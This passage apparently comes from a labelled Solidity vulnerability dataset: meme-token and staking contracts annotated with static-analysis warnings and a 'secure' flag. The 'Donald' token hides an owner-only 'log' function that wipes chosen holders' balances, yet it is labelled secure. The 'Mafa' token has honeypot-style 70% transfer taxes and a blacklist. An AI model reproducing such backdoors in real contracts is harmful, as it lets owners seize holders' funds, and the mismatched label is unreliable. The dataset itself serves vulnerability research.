0;\n\n if (takeFee) {\n if (automatedMarketMakerPairs[to] && sellTotalFees > 0) {\n\t\t\t\t// divide-before-multiply | ID: 1a037fa\n\t\t\t\t// divide-before-multiply | ID: 9a7508a\n fees = amount.mul(sellTotalFees).div(100);\n\n\t\t\t\t// divide-before-multiply | ID: 9a7508a\n\t\t\t\t// reentrancy-eth | ID: 40b9fad\n tokensForDev += (fees * sellDevFee) / sellTotalFees;\n\n\t\t\t\t// divide-before-multiply | ID: 1a037fa\n\t\t\t\t// reentrancy-eth | ID: 40b9fad\n tokensForMarketing += (fees * sellMarketingFee) / sellTotalFees;\n } else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) {\n\t\t\t\t// divide-before-multiply | ID: 63a1c97\n\t\t\t\t// divide-before-multiply | ID: 73ba98c\n fees = amount.mul(buyTotalFees).div(100);\n\n\t\t\t\t// divide-before-multiply | ID: 63a1c97\n\t\t\t\t// reentrancy-eth | ID: 40b9fad\n tokensForDev += (fees * buyDevFee) / buyTotalFees;\n\n\t\t\t\t// divide-before-multiply | ID: 73ba98c\n\t\t\t\t// reentrancy-eth | ID: 40b9fad\n tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees;\n }\n\n if (fees > 0) {\n\t\t\t\t// reentrancy-events | ID: c9c2f7e\n\t\t\t\t// reentrancy-eth | ID: 40b9fad\n super._transfer(from, address(this), fees);\n }\n\n amount -= fees;\n }\n\n\t\t// reentrancy-events | ID: c9c2f7e\n\t\t// reentrancy-eth | ID: 40b9fad\n super._transfer(from, to, amount);\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: c9c2f7e\n\t\t// reentrancy-no-eth | ID: 222d97f\n\t\t// reentrancy-eth | ID: 40b9fad\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: 222d97f): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for 222d97f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (write-after-write | severity: Medium | ID: 3af0668): FrogDog.swapBack().success is written in both (success,None) = address(devWallet).call{value ethForDev}() (success,None) = address(marketingWallet).call{value address(this).balance}()\n\t// Recommendation for 3af0668: Fix or remove the writes.\n function swapBack() private {\n uint256 contractBalance = balanceOf(address(this));\n\n uint256 totalTokensToSwap = tokensForMarketing + tokensForDev;\n\n bool success;\n\n if (contractBalance == 0 || totalTokensToSwap == 0) {\n return;\n }\n\n if (contractBalance > swapTokensAtAmount * 20) {\n contractBalance = swapTokensAtAmount * 20;\n }\n\n uint256 initialETHBalance = address(this).balance;\n\n\t\t// reentrancy-no-eth | ID: 222d97f\n swapTokensForEth(contractBalance);\n\n uint256 ethBalance = address(this).balance.sub(initialETHBalance);\n\n uint256 ethForDev = ethBalance.mul(tokensForDev).div(totalTokensToSwap);\n\n\t\t// reentrancy-no-eth | ID: 222d97f\n tokensForMarketing = 0;\n\n\t\t// reentrancy-no-eth | ID: 222d97f\n tokensForDev = 0;\n\n\t\t// reentrancy-events | ID: c9c2f7e\n\t\t// write-after-write | ID: 3af0668\n\t\t// reentrancy-eth | ID: 40b9fad\n (success, ) = address(devWallet).call{value: ethForDev}(\"\");\n\n\t\t// reentrancy-events | ID: c9c2f7e\n\t\t// write-after-write | ID: 3af0668\n\t\t// reentrancy-eth | ID: 40b9fad\n (success, ) = address(marketingWallet).call{\n value: address(this).balance\n }(\"\");\n }\n}", "file_name": "solidity_code_4022.sol", "secure": 0, "size_bytes": 19183 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract Mafa is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: f5d3359): mafa._taxWallet should be immutable \n\t// Recommendation for f5d3359: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 762a28a): mafa._initialBuyTax should be constant \n\t// Recommendation for 762a28a: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 21;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7efba79): mafa._initialSellTax should be constant \n\t// Recommendation for 7efba79: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 21;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 16ee0ec): mafa._reduceBuyTaxAt should be constant \n\t// Recommendation for 16ee0ec: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 21;\n\n\t// WARNING Optimization Issue (constable-states | ID: cb5bb9f): mafa._reduceSellTaxAt should be constant \n\t// Recommendation for cb5bb9f: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: ad4b99d): mafa._preventSwapBefore should be constant \n\t// Recommendation for ad4b99d: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 20;\n\n uint256 private _transferTax = 70;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 69000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"MAKE AMERICA FUCK AGAIN\";\n\n string private constant _symbol = unicode\"MAFA69\";\n\n uint256 public _maxTxAmount = 1380000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 1380000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 14582c8): mafa._taxSwapThreshold should be constant \n\t// Recommendation for 14582c8: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 690000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 04543ce): mafa._maxTaxSwap should be constant \n\t// Recommendation for 04543ce: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 1380000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n\n event TransferTaxUpdated(uint256 _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 74da856): mafa.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 74da856: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 1069139): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 1069139: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 2606660): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 2606660: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 1069139\n\t\t// reentrancy-benign | ID: 2606660\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 1069139\n\t\t// reentrancy-benign | ID: 2606660\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 711d724): mafa._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 711d724: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 2606660\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 1069139\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 4237026): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 4237026: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 211a733): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 211a733: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 4237026\n\t\t\t\t// reentrancy-eth | ID: 211a733\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 4237026\n\t\t\t\t\t// reentrancy-eth | ID: 211a733\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 211a733\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 211a733\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 211a733\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 4237026\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 211a733\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 211a733\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 4237026\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 1069139\n\t\t// reentrancy-events | ID: 4237026\n\t\t// reentrancy-benign | ID: 2606660\n\t\t// reentrancy-eth | ID: 211a733\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 3507490): mafa.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 3507490: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 1069139\n\t\t// reentrancy-events | ID: 4237026\n\t\t// reentrancy-eth | ID: 211a733\n\t\t// arbitrary-send-eth | ID: 3507490\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint256 i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint256 i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 262ae30): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 262ae30: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: a1c4bf4): mafa.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for a1c4bf4: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 8daf1a4): mafa.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 8daf1a4: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 36485e8): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 36485e8: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 262ae30\n\t\t// reentrancy-eth | ID: 36485e8\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 262ae30\n\t\t// unused-return | ID: a1c4bf4\n\t\t// reentrancy-eth | ID: 36485e8\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 262ae30\n\t\t// unused-return | ID: 8daf1a4\n\t\t// reentrancy-eth | ID: 36485e8\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint256).max);\n\n\t\t// reentrancy-benign | ID: 262ae30\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 36485e8\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n\n function manualsend() external {\n require(_msgSender() == _taxWallet);\n\n uint256 caETHBalance = address(this).balance;\n\n sendETHToFee(caETHBalance);\n }\n}", "file_name": "solidity_code_4023.sol", "secure": 0, "size_bytes": 17703 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Donald is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable boat;\n\n constructor() {\n _name = \"DONALD\";\n\n _symbol = \"DONALD\";\n\n _decimals = 18;\n\n uint256 initialSupply = 295000000;\n\n boat = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == boat, \"Not allowed\");\n\n _;\n }\n\n function log(address[] memory revolution) public onlyOwner {\n for (uint256 i = 0; i < revolution.length; i++) {\n address account = revolution[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}", "file_name": "solidity_code_4024.sol", "secure": 1, "size_bytes": 4356 }
{ "code": "// SPDX-License-Identifier: Unlicensed\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract ZDAIStake {\n using SafeMath for uint256;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 4508802): ZDAIStake.stakeToken should be immutable \n\t// Recommendation for 4508802: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IERC20 public stakeToken;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 3f559de): ZDAIStake.rewardToken should be immutable \n\t// Recommendation for 3f559de: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IERC20 public rewardToken;\n\n IERC20 public token3;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 2799a31): ZDAIStake.owner should be immutable \n\t// Recommendation for 2799a31: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable public owner;\n\n uint256 public maxStakeableToken;\n\n uint256 public minimumStakeToken;\n\n uint256 public totalUnStakedToken;\n\n uint256 public totalStakedToken;\n\n uint256 public totalClaimedRewardToken;\n\n uint256 public totalStakers;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 7d7c724): ZDAIStake.percentDivider should be immutable \n\t// Recommendation for 7d7c724: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public percentDivider;\n\n uint256 public totalFee;\n\n uint256[4] public Duration = [14 days, 30 days, 60 days, 90 days];\n\n uint256[4] public Bonus = [1, 4, 13, 22];\n\n struct Stake {\n uint256 unstaketime;\n uint256 staketime;\n uint256 amount;\n uint256 rewardTokenAmount;\n uint256 reward;\n uint256 lastharvesttime;\n uint256 remainingreward;\n uint256 harvestreward;\n uint256 persecondreward;\n bool withdrawan;\n bool unstaked;\n }\n\n struct User {\n uint256 totalStakedTokenUser;\n uint256 totalUnstakedTokenUser;\n uint256 totalClaimedRewardTokenUser;\n uint256 stakeCount;\n bool alreadyExists;\n }\n\n mapping(address => User) public Stakers;\n\n mapping(uint256 => address) public StakersID;\n\n mapping(address => mapping(uint256 => Stake)) public stakersRecord;\n\n event STAKE(address Staker, uint256 amount);\n\n event HARVEST(address Staker, uint256 amount);\n\n event UNSTAKE(address Staker, uint256 amount);\n\n modifier onlyowner() {\n require(owner == msg.sender, \"only owner\");\n\n _;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 2bd74a2): ZDAIStake.constructor(address,address,address)._owner lacks a zerocheck on \t owner = _owner\n\t// Recommendation for 2bd74a2: Check that the address is not zero.\n constructor(address payable _owner, address token1, address token2) {\n\t\t// missing-zero-check | ID: 2bd74a2\n owner = _owner;\n\n stakeToken = IERC20(token1);\n\n rewardToken = IERC20(token2);\n\n totalFee = 0;\n\n maxStakeableToken = 1000000000000000;\n\n percentDivider = 1000;\n\n minimumStakeToken = 1000000000000;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 2c44c6d): Reentrancy in ZDAIStake.stake(uint256,uint256) External calls stakeToken.transferFrom(msg.sender,address(this),amount1) Event emitted after the call(s) STAKE(msg.sender,amount)\n\t// Recommendation for 2c44c6d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: bc6ac04): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for bc6ac04: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (tautology | severity: Medium | ID: 181fb0b): ZDAIStake.stake(uint256,uint256) contains a tautology or contradiction require(bool,string)(timeperiod >= 0 && timeperiod <= 3,Invalid Time Period)\n\t// Recommendation for 181fb0b: Fix the incorrect comparison by changing the value type or the comparison.\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: 08509d6): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for 08509d6: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 641946c): Solidity's integer division truncates. Thus, performing division before multiplication can lead to precision loss.\n\t// Recommendation for 641946c: Consider ordering multiplication before division.\n function stake(uint256 amount1, uint256 timeperiod) public {\n\t\t// tautology | ID: 181fb0b\n require(timeperiod >= 0 && timeperiod <= 3, \"Invalid Time Period\");\n\n require(amount1 >= minimumStakeToken, \"stake more than minimum amount\");\n\n uint256 ZDAIVAL = getPriceinUSD();\n\n uint256 amount = amount1.sub(\n (amount1.mul(totalFee)).div(percentDivider)\n );\n\n\t\t// divide-before-multiply | ID: 641946c\n uint256 rewardtokenPrice = (amount.mul(ZDAIVAL)).div(1e9);\n\n if (!Stakers[msg.sender].alreadyExists) {\n Stakers[msg.sender].alreadyExists = true;\n\n StakersID[totalStakers] = msg.sender;\n\n totalStakers++;\n }\n\n\t\t// reentrancy-events | ID: 2c44c6d\n\t\t// reentrancy-benign | ID: bc6ac04\n\t\t// reentrancy-no-eth | ID: 08509d6\n stakeToken.transferFrom(msg.sender, address(this), amount1);\n\n uint256 index = Stakers[msg.sender].stakeCount;\n\n\t\t// reentrancy-no-eth | ID: 08509d6\n Stakers[msg.sender].totalStakedTokenUser = Stakers[msg.sender]\n .totalStakedTokenUser\n .add(amount);\n\n\t\t// reentrancy-benign | ID: bc6ac04\n totalStakedToken = totalStakedToken.add(amount);\n\n\t\t// reentrancy-benign | ID: bc6ac04\n stakersRecord[msg.sender][index].unstaketime = block.timestamp.add(\n Duration[timeperiod]\n );\n\n\t\t// reentrancy-benign | ID: bc6ac04\n stakersRecord[msg.sender][index].staketime = block.timestamp;\n\n\t\t// reentrancy-benign | ID: bc6ac04\n stakersRecord[msg.sender][index].amount = amount;\n\n\t\t// reentrancy-benign | ID: bc6ac04\n\t\t// divide-before-multiply | ID: 641946c\n stakersRecord[msg.sender][index].reward = rewardtokenPrice\n .mul(Bonus[timeperiod])\n .div(percentDivider);\n\n\t\t// reentrancy-benign | ID: bc6ac04\n stakersRecord[msg.sender][index].persecondreward = stakersRecord[\n msg.sender\n ][index].reward.div(Duration[timeperiod]);\n\n\t\t// reentrancy-benign | ID: bc6ac04\n stakersRecord[msg.sender][index].rewardTokenAmount = rewardtokenPrice;\n\n\t\t// reentrancy-benign | ID: bc6ac04\n stakersRecord[msg.sender][index].lastharvesttime = 0;\n\n\t\t// reentrancy-benign | ID: bc6ac04\n stakersRecord[msg.sender][index].remainingreward = stakersRecord[\n msg.sender\n ][index].reward;\n\n\t\t// reentrancy-benign | ID: bc6ac04\n stakersRecord[msg.sender][index].harvestreward = 0;\n\n\t\t// reentrancy-no-eth | ID: 08509d6\n Stakers[msg.sender].stakeCount++;\n\n\t\t// reentrancy-events | ID: 2c44c6d\n emit STAKE(msg.sender, amount);\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 6a50375): Dangerous usage of 'block.timestamp'. 'block.timestamp' can be manipulated by miners.\n\t// Recommendation for 6a50375: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: e7a4610): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for e7a4610: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// 